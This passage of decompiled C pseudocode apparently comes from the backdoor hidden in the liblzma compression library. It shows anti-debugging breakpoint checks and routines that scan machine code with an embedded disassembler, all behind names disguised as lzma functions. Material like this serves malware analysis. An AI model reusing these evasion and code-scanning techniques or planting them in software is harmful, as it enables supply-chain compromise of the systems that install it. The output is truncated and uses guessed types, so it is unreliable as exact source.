goto LABEL_235;
v57 = v53 + 6;
if ( (unsigned __int64)(v53 + 6) >= a3 )
goto LABEL_235;
v59 |= ((unsigned __int64)v53[3] << 32) | ((unsigned __int64)v53[4] << 40) | ((unsigned __int64)v53[5] << 48) | ((unsigned __int64)v53[6] << 56);
*((_QWORD *)v5 + 8) = v59;
}
*((_QWORD *)v5 + 7) = v59;
goto LABEL_182;
}
*((_QWORD *)v5 + 8) = v55;
*((_QWORD *)v5 + 7) = (__int16)v55;
v56 = (__int64)&v53[-a2 + 1];
*(_QWORD *)v5 = a2;
LABEL_169:
*((_QWORD *)v5 + 1) = v56;
v52 = v56 == 0;
LABEL_170:
if ( !v52 )
{
v23 = v5[10];
goto LABEL_107;
}
return 0LL;
}
// ABC0: using guessed type __int64 __fastcall Llzma2_decoder_end_1(_QWORD, _QWORD, _QWORD, _QWORD);
// AD00: using guessed type unsigned __int8 byte_AD00[32];
// AD20: using guessed type unsigned __int8 byte_AD20[32];
// AD40: using guessed type unsigned __int8 byte_AD40[32];
// AD60: using guessed type unsigned __int8 byte_AD60[32];
// AD80: using guessed type unsigned __int8 byte_AD80[32];
// ADA0: using guessed type unsigned __int8 byte_ADA0[32];
//----- (0000000000000AB0) ----------------------------------------------------
__int64 __fastcall check_software_breakpoint(_DWORD *a1, __int64 a2, int a3)
{
unsigned int v4; // edx
v4 = 0;
if ( a2 - (__int64)a1 > 3 )
return *a1 + (a3 | 0x5E20000) == 0xF223;
return v4;
}
//----- (0000000000000B00) ----------------------------------------------------
__int64 __fastcall sub_B00(_DWORD *a1, unsigned __int64 a2, _QWORD *a3, int a4)
{
__int64 result; // rax
unsigned int v7; // ebx
__int64 *v8; // rdi
__int64 i; // rcx
__int64 v10; // [rsp+8h] [rbp-70h] BYREF
__int64 v11; // [rsp+10h] [rbp-68h]
int v12; // [rsp+30h] [rbp-48h]
if ( a4 )
{
result = check_software_breakpoint(a1, a2, 0xE230);
if ( (_DWORD)result )
{
if ( a3 )
*a3 = a1;
return 1LL;
}
}
else
{
v7 = 0;
v8 = &v10;
for ( i = 22LL; i; --i )
{
*(_DWORD *)v8 = 0;
v8 = (__int64 *)((char *)v8 + 4);
}
if ( (unsigned int)code_dasm(&v10, (unsigned __int64)a1, a2)
&& v12 == 0xF9F
&& (((_BYTE)v10 + (_BYTE)v11) & 0xF) == 0 )
{
if ( a3 )
*a3 = v10 + v11;
return 1;
}
return v7;
}
return result;
}
//----- (0000000000000B90) ----------------------------------------------------
__int64 __fastcall apply_method_1(
_DWORD *a1,
__int64 *a2,
unsigned __int64 *a3,
_DWORD *a4,
unsigned __int64 a5,
int a6)
{
_DWORD *i; // r15
__int64 v10; // r15
_DWORD *v12; // rbx
_DWORD *v13; // r14
__int64 v15[8]; // [rsp+18h] [rbp-40h] BYREF
v15[0] = 0LL;
if ( a2 )
{
for ( i = a1; a4 < i && !(unsigned int)sub_B00(i, a5, v15, a6); i = (_DWORD *)((char *)i - 1) )
;
v10 = v15[0];
if ( !v15[0] || (_DWORD *)v15[0] == a4 && !(unsigned int)sub_B00(a4, a5, 0LL, a6) )
return 0LL;
*a2 = v10;
}
v12 = (_DWORD *)((char *)a1 + 1);
v13 = (_DWORD *)(a5 - 4);
if ( a3 )
{
while ( v12 < v13 )
{
if ( (unsigned int)sub_B00(v12, a5, 0LL, a6) )
goto LABEL_19;
v12 = (_DWORD *)((char *)v12 + 1);
}
if ( v13 != v12 || (unsigned int)sub_B00(v12, a5, 0LL, a6) )
LABEL_19:
a5 = (unsigned __int64)v12;
*a3 = a5;
}
return 1LL;
}
// B90: using guessed type __int64 var_40[8];
//----- (0000000000000C80) ----------------------------------------------------
__int64 __fastcall Llzma_optimum_normal_0(unsigned __int64 a1, unsigned __int64 a2, __int64 a3, char *a4)
{
char *v8; // rdi
__int64 i; // rcx
char v10[128]; // [rsp+8h] [rbp-80h] BYREF
if ( apply_one_entry_ex(0LL, 0x81u, 4u, 7u) )
{
v8 = v10;
for ( i = 22LL; i; --i )
{
*(_DWORD *)v8 = 0;
v8 += 4;
}
if ( !a4 )
a4 = v10;
while ( a1 < a2 )
{
if ( (unsigned int)code_dasm(a4, a1, a2) )
{
if ( *((_DWORD *)a4 + 10) == 360 && (!a3 || *(_QWORD *)a4 + *((_QWORD *)a4 + 7) + *((_QWORD *)a4 + 1) == a3) )
return 1LL;
a1 += *((_QWORD *)a4 + 1);
}
else
{
++a1;
}
}
}
return 0LL;
}
//----- (0000000000000D30) ----------------------------------------------------
__int64 __fastcall Llzma_filters_update_0(unsigned __int64 a1, unsigned __int64 a2, int a3, int a4, char *a5)
{
__int64 v7; // rcx
char *v8; // rbp
char *v10; // rdi
int v11; // eax
char v14[128]; // [rsp+8h] [rbp-80h] BYREF
v7 = 22LL;
v8 = a5;
v10 = v14;
while ( v7 )
{
*(_DWORD *)v10 = 0;
v10 += 4;
--v7;
}
if ( !a5 )
v8 = v14;
while ( 1 )
{
while ( 1 )
{
if ( a1 >= a2 )
return 0LL;
if ( (unsigned int)code_dasm(v8, a1, a2) )
break;
++a1;
}
if ( (*((_DWORD *)v8 + 7) & 0xFF00FF00) == 83886080 && (((v8[27] & 0x48) == 72) == a3 || !a4) )
{
v11 = *((_DWORD *)v8 + 10);
if ( v11 == 269 )
break;
if ( a4 ? v11 == 267 : v11 == 265 )
break;
}
a1 += *((_QWORD *)v8 + 1);
}
return 1LL;
}
//----- (0000000000000DF0) ----------------------------------------------------
__int64 __fastcall Llzma_filters_update_1(unsigned __int64 a1, unsigned __int64 a2, int a3, int a4, char *a5)